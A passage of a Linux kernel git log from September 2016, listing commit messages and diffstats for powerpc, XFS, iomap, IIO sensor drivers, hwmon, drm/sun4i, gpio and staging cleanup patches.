CONFIG_MEMORY_HOTPLUG=y, we see that functions marked __meminit can end up outside of the _stext/_etext range, and also outside of _sinittext/_einittext, eg: c000000000000000 T _stext c0000000009e0000 A _etext c0000000009e3f18 T hash__vmemmap_create_mapping c000000000ca0000 T _sinittext c000000000d00844 T _einittext This causes them to not be recognised as text by is_kernel_text(), and prevents them being patched by jump_label (and presumably ftrace/kprobes etc.). Fix it by adding MEM_KEEP() directives, mirroring what TEXT_TEXT does. This isn't a problem when CONFIG_MEMORY_HOTPLUG=n, because we use the standard INIT_TEXT_SECTION() and EXIT_TEXT macros from vmlinux.lds.h. Signed-off-by: Michael Ellerman Tested-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/kernel/vmlinux.lds.S | 2 ++ 1 file changed, 2 insertions(+) commit bea2dccccfd47ef3f8612f1265f653f8e018d793 Author: Michael Ellerman Date: Thu Sep 15 10:40:20 2016 +1000 powerpc: Don't change the section in _GLOBAL() Currently the _GLOBAL() macro unilaterally sets the assembler section to ".text" at the start of the macro. This is rude as the caller may be using a different section. So let the caller decide which section to emit the code into. On big endian we do need to switch to the ".opd" section to emit the OPD, but do that with pushsection/popsection, thereby leaving the original section intact. I verified that the order of all entries in System.map is unchanged after this patch. The actual addresses shift around slightly so you can't just diff the System.map. Signed-off-by: Michael Ellerman Reviewed-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/ppc_asm.h | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 6f698df10cb24d466b9a790b9daedb9e7bcd5d2a Author: Nicholas Piggin Date: Fri Sep 16 20:48:17 2016 +1000 powerpc/kernel: Use kprobe blacklist for asm functions Rather than forcing the whole function into the ".kprobes.text" section, just add the symbol's address to the kprobe blacklist. This also lets us drop the three versions of the_KPROBE macro, in exchange for just one version of _ASM_NOKPROBE_SYMBOL - which is a good cleanup. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/ppc_asm.h | 40 +++++++++++++------------------------- arch/powerpc/kernel/misc_32.S | 4 +++- arch/powerpc/kernel/misc_64.S | 5 +++-- 3 files changed, 20 insertions(+), 29 deletions(-) commit 03465f899bdac70d34f6ca447a74d8ae9e284ce5 Author: Nicholas Piggin Date: Fri Sep 16 20:48:08 2016 +1000 powerpc: Use kprobe blacklist for exception handlers Currently we mark the C implementations of some exception handlers as __kprobes. This has the effect of putting them in the ".kprobes.text" section, which separates them from the rest of the text. Instead we can use the blacklist macros to add the symbols to a blacklist which kprobes will check. This allows the linker to move exception handler functions close to callers and avoids trampolines in larger kernels. Signed-off-by: Nicholas Piggin [mpe: Reword change log a bit] Signed-off-by: Michael Ellerman arch/powerpc/include/asm/asm-prototypes.h | 6 +++--- arch/powerpc/kernel/hw_breakpoint.c | 9 ++++++--- arch/powerpc/kernel/traps.c | 21 ++++++++++++++------- arch/powerpc/mm/fault.c | 4 ++-- 4 files changed, 25 insertions(+), 15 deletions(-) commit 3fd129b63fd062a0d8f5d55994a6e98896c20fa7 Author: Darrick J. Wong Date: Mon Sep 19 10:30:52 2016 +1000 xfs: set up per-AG free space reservations One unfortunate quirk of the reference count and reverse mapping btrees -- they can expand in size when blocks are written to *other* allocation groups if, say, one large extent becomes a lot of tiny extents. Since we don't want to start throwing errors in the middle of CoWing, we need to reserve some blocks to handle future expansion. The transaction block reservation counters aren't sufficient here because we have to have a reserve of blocks in every AG, not just somewhere in the filesystem. Therefore, create two per-AG block reservation pools. One feeds the AGFL so that rmapbt expansion always succeeds, and the other feeds all other metadata so that refcountbt expansion never fails. Use the count of how many reserved blocks we need to have on hand to create a virtual reservation in the AG. Through selective clamping of the maximum length of allocation requests and of the length of the longest free extent, we can make it look like there's less free space in the AG unless the reservation owner is asking for blocks. In other words, play some accounting tricks in-core to make sure that we always have blocks available. On the plus side, there's nothing to clean up if we crash, which is contrast to the strategy that the rough draft used (actually removing extents from the freespace btrees). Signed-off-by: Darrick J. Wong Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_ag_resv.c | 325 +++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_ag_resv.h | 35 +++++ fs/xfs/libxfs/xfs_alloc.c | 112 ++++++++++---- fs/xfs/libxfs/xfs_alloc.h | 8 +- fs/xfs/libxfs/xfs_bmap.c | 6 +- fs/xfs/libxfs/xfs_ialloc_btree.c | 2 +- fs/xfs/xfs_filestream.c | 4 +- fs/xfs/xfs_fsops.c | 2 +- fs/xfs/xfs_mount.h | 36 +++++ fs/xfs/xfs_trace.h | 75 +++++++-- fs/xfs/xfs_trans.c | 1 - fs/xfs/xfs_trans_extfree.c | 3 +- 13 files changed, 556 insertions(+), 54 deletions(-) commit 385d655861d221bb43ae69a9cfa9adbefe31ad00 Author: Darrick J. Wong Date: Mon Sep 19 10:26:25 2016 +1000 xfs: defer should allow ->finish_item to request a new transaction When xfs_defer_finish calls ->finish_item, it's possible that (refcount) won't be able to finish all the work in a single transaction. When this happens, the ->finish_item handler should shorten the log done item's list count, update the work item to reflect where work should continue, and return -EAGAIN so that defer_finish knows to retain the pending item on the pending list, roll the transaction, and restart processing where we left off. Plumb in the code and document how this mechanism is supposed to work. Signed-off-by: Darrick J. Wong fs/xfs/libxfs/xfs_defer.c | 79 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 72 insertions(+), 7 deletions(-) commit c611cc0360cd924448c23ccd70ce8be703fcb4a6 Author: Darrick J. Wong Date: Mon Sep 19 10:25:20 2016 +1000 xfs: count the blocks in a btree Provide a helper method to count the number of blocks in a short form btree. The refcount and rmap btrees need to know the number of blocks already in use to set up their per-AG block reservations during mount. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_btree.c | 23 +++++++++++++++++++++++ fs/xfs/libxfs/xfs_btree.h | 2 ++ 2 files changed, 25 insertions(+) commit 4ed3f68792f6a9c21a290ae777565e7562a09653 Author: Darrick J. Wong Date: Mon Sep 19 10:25:03 2016 +1000 xfs: create a standard btree size calculator code Create a helper to generate AG btree height calculator functions. This will be used (much) later when we get to the refcount btree. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_btree.c | 24 ++++++++++++++++++++++++ fs/xfs/libxfs/xfs_btree.h | 2 ++ 2 files changed, 26 insertions(+) commit a1d46cffaf40e04acb0ecab14980ece3ef1ab933 Author: Darrick J. Wong Date: Mon Sep 19 10:24:36 2016 +1000 xfs: remove xfs_btree_bigkey Remove the xfs_btree_bigkey mess and simply make xfs_btree_key big enough to hold both keys in-core. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_btree.c | 12 ++++++------ fs/xfs/libxfs/xfs_btree.h | 24 ++++++------------------ 2 files changed, 12 insertions(+), 24 deletions(-) commit cd00158ce34d6e2c42d8892e8499779b8ac1d2bf Author: Darrick J. Wong Date: Mon Sep 19 10:24:27 2016 +1000 xfs: convert RUI log formats to use variable length arrays Use variable length array declarations for RUI log items, and replace the open coded sizeof formulae with a single function. Signed-off-by: Darrick J. Wong Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_log_format.h | 10 +++++++++- fs/xfs/xfs_rmap_item.c | 36 +++++++++--------------------------- fs/xfs/xfs_rmap_item.h | 8 ++++++++ fs/xfs/xfs_super.c | 5 ++--- 4 files changed, 28 insertions(+), 31 deletions(-) commit e43c460dcd265431df7a5e481450ad9c0596c10c Author: Darrick J. Wong Date: Mon Sep 19 10:13:02 2016 +1000 iomap: add a flag to report shared extents Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/iomap.c | 2 ++ include/linux/iomap.h | 1 + 2 files changed, 3 insertions(+) commit 5f4e5752a8a3a72c79514def2ad9fc7cd410ce2e Author: Christoph Hellwig Date: Mon Sep 19 10:12:45 2016 +1000 fs: add iomap_file_dirty Originally-From: Christoph Hellwig This function uses the iomap infrastructure to re-write all pages in a given range. This is useful for doing a copy-up of COW ranges, and might be useful for scrubbing in the future. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/iomap.c | 82 +++++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/iomap.h | 2 ++ 2 files changed, 84 insertions(+) commit 5694fe9aadbb26874d2791de1db6ac08aa1b4c14 Author: Carlos Maiolino Date: Mon Sep 19 09:38:25 2016 +1000 xfs: Document error handlers behavior Document the implementation of error handlers into sysfs. [dchinner: Added lots more detail.] Signed-off-by: Carlos Maiolino Signed-off-by: Dave Chinner Documentation/filesystems/xfs.txt | 123 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 123 insertions(+) commit 7ce4190c4ca466ccd609845b97dce665317aee2a Author: Guenter Roeck Date: Sun Sep 11 12:42:52 2016 -0700 hwmon: (nct6775) Add support for multiple virtual temperature sources For virtual temperatures, the actual temperature values are written by software, presumably by the BIOS. This functionality is (as of right now) supported on NCT6791D, NCT6792D, and NCT6793D. On those chips, the temperatures are written into registers 0xea..0xef on page 0. This is known to be used on some Asus motherboards, where the actual temperature source can be configured in the BIOS. Report the 'virtual' temperatures for all monotoring sources to address this situation. Example for the resulting output (as seen with the 'sensors' command): nct6791-isa-0290 Adapter: ISA adapter ... Virtual_TEMP: +31.0°C PECI Agent 0: +38.5°C Virtual_TEMP: +32.0°C ... Signed-off-by: Guenter Roeck drivers/hwmon/nct6775.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 7e81bda23ac3c79b6cf747c195810900b45a77fc Author: Chen-Yu Tsai Date: Thu Sep 15 23:14:01 2016 +0800 drm/sun4i: dotclock: Allow divider = 127 The dot clock divider is 7 bits wide, and the divider range is 1 ~ 127, or 6 ~ 127 if phase offsets are used. The 0 register value also represents a divider of 1 or bypass. Make the end condition of the for loop inclusive of 127 in the round_rate callback. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_dotclock.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e996e2089f25b84149ae82b5ddf37a263a7fcc71 Author: Chen-Yu Tsai Date: Thu Sep 15 23:14:00 2016 +0800 drm/sun4i: dotclock: Fix clock rate read back calcation When reading back the divider set in the register, we mask off the bits that aren't part of the divider. Unfortunately the mask used here was not converted from the field width. Fix this by converting the field width to a proper bit mask. Fixes: 9026e0d122ac ("drm: Add Allwinner A10 Display Engine support") Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_dotclock.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a8aa939ba33998f4c70c082dbd4d27a5ddcaaf6 Author: Wei Yongjun Date: Thu Sep 15 03:25:58 2016 +0000 drm/sun4i: backend: remove redundant dev_err call in sun4i_backend_bind() There is a error message within devm_ioremap_resource already, so remove the dev_err call to avoid redundant error message. Signed-off-by: Wei Yongjun Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_backend.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit ac45e57f15903747ccd5a14cebfbd673ebcbdd6f Author: Peter Meerwald-Stadler Date: Sun Sep 18 16:41:30 2016 +0200 iio: light: Add driver for Silabs si1132, si1141/2/3 and si1145/6/7 ambient light, uv index and proximity sensors The si114x supports x=1,2,3 IR LEDs for proximity sensing together with visible and IR ambient light sensing (ALS). Newer parts (si1132, si1145/6/7) can measure UV light and compute an UV index This was tested on si1143 and si1145 Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Crestez Dan Leonard Signed-off-by: Jonathan Cameron drivers/iio/light/Kconfig | 13 + drivers/iio/light/Makefile | 1 + drivers/iio/light/si1145.c | 1404 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1418 insertions(+) commit 03b262f2bbf43b82eaef82ffb3bc671d5b5c8da1 Author: Gregor Boirie Date: Tue Sep 13 14:23:14 2016 +0200 iio:pressure: initial zpa2326 barometer support Introduce driver for Murata ZPA2326 pressure and temperature sensor: http://www.murata.com/en-us/products/productdetail?partno=ZPA2326-0311A-R Signed-off-by: Gregor Boirie Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/pressure/zpa2326.txt | 31 + drivers/iio/pressure/Kconfig | 22 + drivers/iio/pressure/Makefile | 3 + drivers/iio/pressure/zpa2326.c | 1735 ++++++++++++++++++++ drivers/iio/pressure/zpa2326.h | 89 + drivers/iio/pressure/zpa2326_i2c.c | 99 ++ drivers/iio/pressure/zpa2326_spi.c | 103 ++ 7 files changed, 2082 insertions(+) commit dc8b73ebe543f53ec78507a9d0d37073773f6157 Author: Daniel Wagner Date: Fri Sep 16 10:07:36 2016 +0200 hwmon: (adt7470) No need for additional synchronization on kthread_stop() The kthread_stop() waits for the thread to exit. There is no need for an additional synchronization needed to join on the kthread. The completion was added by 89fac11cb3e7 ("adt7470: make automatic fan control really work"). Signed-off-by: Daniel Wagner Cc: Darrick J. Wong Cc: Jean Delvare Cc: Guenter Roeck Signed-off-by: Guenter Roeck drivers/hwmon/adt7470.c | 4 ---- 1 file changed, 4 deletions(-) commit 063e3303a93fcd64554730145361f102236724cb Author: Hans de Goede Date: Mon Sep 12 09:43:50 2016 +0200 iio: accel: Add driver for the mCube MC3230 3-axis accelerometer Add an IIO driver for the mCube MC3230 3-axis accelerometer. A datasheet for the mCube MC3230 can be found here: http://www.mcubemems.com/wp-content/uploads/2014/10/MC3230_2-Datasheet-APS-048-0007v1.6.pdf Signed-off-by: Hans de Goede Signed-off-by: Jonathan Cameron .../devicetree/bindings/i2c/trivial-devices.txt | 1 + drivers/iio/accel/Kconfig | 10 + drivers/iio/accel/Makefile | 1 + drivers/iio/accel/mc3230.c | 211 +++++++++++++++++++++ 4 files changed, 223 insertions(+) commit 5620318828dce80748c0a8e5fa2775957cf28347 Author: Hans de Goede Date: Sun Sep 11 18:29:26 2016 +0200 iio: accel: mma7660: fix missing MODULE_DEVICE_TABLE(i2c) Add missing MODULE_DEVICE_TABLE(i2c) this fixes autoloading on devicetree using systems. Signed-off-by: Hans de Goede Signed-off-by: Jonathan Cameron drivers/iio/accel/mma7660.c | 1 + 1 file changed, 1 insertion(+) commit 35a26144a193536eb8870de99ff4b7093b7879a3 Author: Amitesh Singh Date: Fri Sep 16 22:28:53 2016 +0530 gpio: f7188x: use gpiochip_get_data instead of container_of gpiochip_add_data is already used to add data pointer and chip. Lets rely on gpiochip_get_data which is getting used in other gpio_chip functions. Signed-off-by: Amitesh Singh Signed-off-by: Linus Walleij drivers/gpio/gpio-f7188x.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8df759c9e66d91507b653433b14ef2216d19ee29 Author: Wei Yongjun Date: Fri Sep 16 01:51:10 2016 +0000 gpio: tps65218: use devm_gpiochip_add_data() for gpio registration Use devm_gpiochip_add_data() for GPIO registration and remove the need of driver callback .remove. Signed-off-by: Wei Yongjun Signed-off-by: Linus Walleij drivers/gpio/gpio-tps65218.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit a8886770dcf27082fe0fa64592e0054d02cea90d Author: Katie Dunne Date: Wed Sep 14 10:18:28 2016 -0700 staging: iio: ad5933: align arguments on new line with open parenthesis Issue found by checkpatch: "Alignment should match open parenthesis." Multiple lines are also reduced to a single line where possible. Signed-off-by: Katie Dunne Signed-off-by: Jonathan Cameron drivers/staging/iio/impedance-analyzer/ad5933.c | 38 ++++++++++++------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit b125a1b2b9d4692a0f17435101cf3cdaae1d5b25 Author: Greg Kroah-Hartman Date: Sun Sep 18 13:09:50 2016 +0200 Revert "staging: olpc_dcon: Replace a bit shift by a use of BIT." This reverts commit ed88363e6aebb91df820e1a8898d2a07b18d2bc9. It was incorrect :( Cc: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/olpc_dcon/olpc_dcon.h | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit becf05e748b3842b792373d812e41c5a407aef5f Author: Julia Lawall Date: Fri Sep 16 12:55:26 2016 +0200 iio: common: ssp_sensors: gyro: constify iio_info structures Check for iio_info structures that are only stored in the info field of a iio_dev structure. This field is declared const, so iio_info structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct iio_info i@p = { ... }; @ok@ identifier r.i; struct iio_dev e; position p; @@ e.info = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct iio_info e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct iio_info i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 1245 344 0 1589 635 drivers/iio/gyro/ssp_gyro_sensor.o and after the change it is: text data bss dec hex filename 1397 192 0 1589 635 drivers/iio/gyro/ssp_gyro_sensor.o Signed-off-by: Julia Lawall Signed-off-by: Jonathan Cameron drivers/iio/gyro/ssp_gyro_sensor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 52ceb7731e7c23101a26e91aad81ae30de87b10d Author: Julia Lawall Date: Fri Sep 16 12:55:25 2016 +0200 iio: adc: men_z188_adc: constify iio_info structures Check for iio_info structures that are only stored in the info field of a iio_dev structure. This field is declared const, so iio_info structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct iio_info i@p = { ... }; @ok@ identifier r.i; struct iio_dev e; position p; @@ e.info = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct iio_info e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct iio_info i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 1529 312 0 1841 731 drivers/iio/adc/men_z188_adc.o and after the change it is: text data bss dec hex filename 1689 168 0 1857 741 drivers/iio/adc/men_z188_adc.o Signed-off-by: Julia Lawall Signed-off-by: Jonathan Cameron drivers/iio/adc/men_z188_adc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7504dfc9e935e3422d5187f8e813da5758976e6d Author: Julia Lawall Date: Fri Sep 16 12:55:24 2016 +0200 iio: common: ssp_sensors: accel: constify iio_info structures Check for iio_info structures that are only stored in the info field of a iio_dev structure. This field is declared const, so iio_info structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct iio_info i@p = { ... }; @ok@ identifier r.i; struct iio_dev e; position p; @@ e.info = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct iio_info e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct iio_info i = { ... }; // The result of size on this file before the change is: text data bss dec hex filename 1265 344 0 1609 649 drivers/iio/accel/ssp_accel_sensor.o and after the change it is: text data bss dec hex filename 1425 192 0 1617 651 drivers/iio/accel/ssp_accel_sensor.o Signed-off-by: Julia Lawall Signed-off-by: Jonathan Cameron drivers/iio/accel/ssp_accel_sensor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e0f3fc9b47e61bb5d79f2bb8684d80eee5aaac99 Author: Ico Doornekamp Date: Tue Sep 13 21:14:14 2016 +0200 iio: accel: sca3000_core: implemented IIO_CHAN_INFO_SAMP_FREQ Moved functionality from IIO_DEV_ATTR_SAMP_FREQ attribute into IIO_CHAN_INFO_SAMP_FREQ handlers. Added sca3000_write_raw() to allow writing the element as well. Signed-off-by: Ico Doornekamp Signed-off-by: Jonathan Cameron drivers/staging/iio/accel/sca3000.h | 1 + drivers/staging/iio/accel/sca3000_core.c | 242 +++++++++++++++---------------- 2 files changed, 121 insertions(+), 122 deletions(-) commit 7cfae24953fa79c69f1bf4edbf44546648de55ba Author: Namrata A Shettar Date: Sun Sep 18 14:34:51 2016 +0530 staging: vt6655: device_main: Replace NULL comparison with !x Replace NULL comparison to resolve checkpatch issue. - x == NULL => !x Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/device_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8f4166d888cb41b112ea38ceb037ba2f4f156c5b Author: Namrata A Shettar Date: Sun Sep 18 14:35:13 2016 +0530 staging: vt6655: device_main: Replace explicit NULL comparison Replace NULL comparison to resolve checkpatch issue. - x == NULL => !x Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/device_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c9573a8d1963ba82f163c4d113266da82c048c21 Author: sayli karnik Date: Sun Sep 18 15:11:14 2016 +0530 staging: wlan-ng: Remove the typedef to the 'wlandevice' structure This patch removes the typedef 'wlandevice_t' to the 'wlandevice' structure. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 38 ++++++------- drivers/staging/wlan-ng/hfa384x.h | 4 +- drivers/staging/wlan-ng/hfa384x_usb.c | 22 ++++---- drivers/staging/wlan-ng/p80211conv.c | 6 +-- drivers/staging/wlan-ng/p80211netdev.c | 36 ++++++------- drivers/staging/wlan-ng/p80211netdev.h | 22 ++++---- drivers/staging/wlan-ng/p80211req.c | 10 ++-- drivers/staging/wlan-ng/p80211req.h | 2 +- drivers/staging/wlan-ng/p80211wep.c | 6 +-- drivers/staging/wlan-ng/prism2fw.c | 14 ++--- drivers/staging/wlan-ng/prism2mgmt.c | 20 +++---- drivers/staging/wlan-ng/prism2mgmt.h | 38 ++++++------- drivers/staging/wlan-ng/prism2mib.c | 36 ++++++------- drivers/staging/wlan-ng/prism2sta.c | 98 +++++++++++++++++----------------- drivers/staging/wlan-ng/prism2usb.c | 14 ++--- 15 files changed, 183 insertions(+), 183 deletions(-) commit cbb351ccdfa1e2b3261a024fae7980597f56549f Author: Sandhya Bankar Date: Sun Sep 18 04:55:26 2016 +0530 Staging: ks7010: Drop memory allocation cast. Drop cast on the result of kzalloc. The semantic patch that makes this change is as follows: @@ type T; @@ - (T *) (\(kmalloc\|kzalloc\|kcalloc\|kmem_cache_alloc\|kmem_cache_zalloc\| kmem_cache_alloc_node\|kmalloc_node\|kzalloc_node\)(...)) Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 604e383c5229a214e17695e3ec13d9aa4952e10c Author: Sandhya Bankar Date: Sun Sep 18 04:41:39 2016 +0530 Staging: fbtft: Use !x instead of x == NULL. Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft_device.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a2576177cce7f1b5d04035a98bd1e27935fdb5fa Author: Sandhya Bankar Date: Sun Sep 18 04:29:54 2016 +0530 Staging: lustre: lmv_obd: Remove redundant if-statement. Remove redundant if-statement. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 6869a11bff1df102dc73296129d63b9187a22f3a Author: Sandhya Bankar Date: Sun Sep 18 04:18:22 2016 +0530 Staging: rtl8192e: Use !x instead of x == NULL Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib_module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 56487aed9597569f5db716c86f9bc93aea1bd3b6 Author: Bhumika Goyal Date: Sun Sep 18 14:35:59 2016 +0530 Staging: xgifb: Compress return logic This patch compresses the return logic into a single statement and removes the now unused return variable. Done using coccinelle: @@ type T; identifier r; @@ - T r; ... when !=r - r = + return ...; - return r; Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/XGI_main_26.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 25670ba3f3719e6121a2b1a3c216833d1a9e1d89 Author: Namrata A Shettar Date: Sun Sep 18 13:46:01 2016 +0530 staging: xgifb: Replace explicit NULL comparison Replace explicit NULL comparison with equivalent expression to resolve checkpatch issue. - x != NULL => x Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/xgifb/XGI_main_26.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58f0ff2a576d5389acebdfb21d54a921fd80ad10 Author: Anchal Jain Date: Sun Sep 18 13:21:20 2016 +0530 staging: rtl8188eu: core: Add spaces around operators Add spaces around operators {+, -, &, /, <<, &&} Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 52 ++++++++++++++++----------------- 1 file changed, 26 insertions(+), 26 deletions(-) commit 70b9bb71fdf2da78341cdf70d3599c031d1e29fa Author: Anchal Jain Date: Sun Sep 18 13:18:56 2016 +0530 staging: rtl8188eu: core: Fix comparison to NULL Convert pointer comparisons to NULL to NULL pointer 'p' Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 12884004f17f1c469d1f9a9a9db6147694db57d0 Author: Linus Walleij Date: Thu Sep 1 11:44:49 2016 +0200 iio: accel: kxsd9: Support reading a mounting matrix This adds support for the mounting matrix to the KXSD9 driver. Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 149ad082a2f4873daca28f57d59ec3deb47685ac Author: sayli karnik Date: Sun Sep 18 12:56:25 2016 +0530 staging: ks7010: Remove extra round braces around expressions/variables This patch removes excess round braces around expressions/variables. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ca4765152e9c7cc713a6f52073027648d70ff4c5 Author: sayli karnik Date: Sun Sep 18 12:55:32 2016 +0530 staging: ks7010: Remove the space after a type cast The patch removes an unnecessary space after a cast, as detected by checkpatch.pl. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7333c6fd438d64b55c7f31909f5274b26eb62c03 Author: sayli karnik Date: Sun Sep 18 12:54:43 2016 +0530 staging: ks7010: Remove unnecessary blank lines and commented code The patch removes unnecessary blank lines as detected by checkpatch.pl. Also, it removes a commented line of unrequired code. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 5 ----- 1 file changed, 5 deletions(-) commit 3d4a2cacc43fdae5c2c681455955c88d22561649 Author: sayli karnik Date: Sun Sep 18 12:53:49 2016 +0530 staging: ks7010: Remove space after '(' and before ')' The patch fixes the following errors detected by checkpatch.pl: ERROR: space prohibited before that close parenthesis ')' ERROR: space prohibited after that open parenthesis '(' Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 53638cef86bfa613bd635f9c8c9462524c8dc6d7 Author: sayli karnik Date: Sun Sep 18 12:52:27 2016 +0530 staging: ks7010: Remove braces following single statement blocks The patch removes braces {} for single statement blocks, as suggested by checkpatch.pl. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 38 +++++++++++++++++------------------- 1 file changed, 18 insertions(+), 20 deletions(-) commit 041c4d754ae3901b0ac9295a110c4ad920d63201 Author: sayli karnik Date: Sun Sep 18 12:51:03 2016 +0530 staging: ks7010: Use #include instead of This patch replaces with , as suggested by checkpatch.pl. Signed-off-by: sayli karnik Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a9a369d6178dd4e263c49085ce1b37e1e8f63a0 Author: Linus Walleij Date: Thu Sep 1 11:44:48 2016 +0200 iio: accel: kxsd9: Deploy system and runtime PM This deploys runtime and system PM in the KXSD9 driver: - Use the force_runtime_suspend/resume callbacks as system PM operations. - Add buffer prepare/unprepare callbacks to grab the runtime PM while we're using buffered reads and put get/put_autosuspend in these. - Insert get/put_autosuspend calls anywhere the IO is used from the raw read/write callbacks. - Move the fullscale setting to be cached in the state container so we can restore it properly when coming back from system/runtime suspend. - Set the autosuspend delay to two orders of magnitude that of the sensor start-up time (20ms) so we will autosuspend after 2s. - Register the callbacks in both the SPI and I2C subdrivers. Tested with the I2C KXSD9 on the Qualcomm APQ8060 Dragonboard. Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/accel/kxsd9-i2c.c | 1 + drivers/iio/accel/kxsd9-spi.c | 1 + drivers/iio/accel/kxsd9.c | 92 ++++++++++++++++++++++++++++++++++++++++++- drivers/iio/accel/kxsd9.h | 2 + 4 files changed, 94 insertions(+), 2 deletions(-) commit 79383aaec47a0ea0df49728ad0b8e72c4ac58fd0 Author: Linus Walleij Date: Thu Sep 1 11:44:47 2016 +0200 iio: accel: kxsd9: Replace "parent" with "dev" What is passed to the 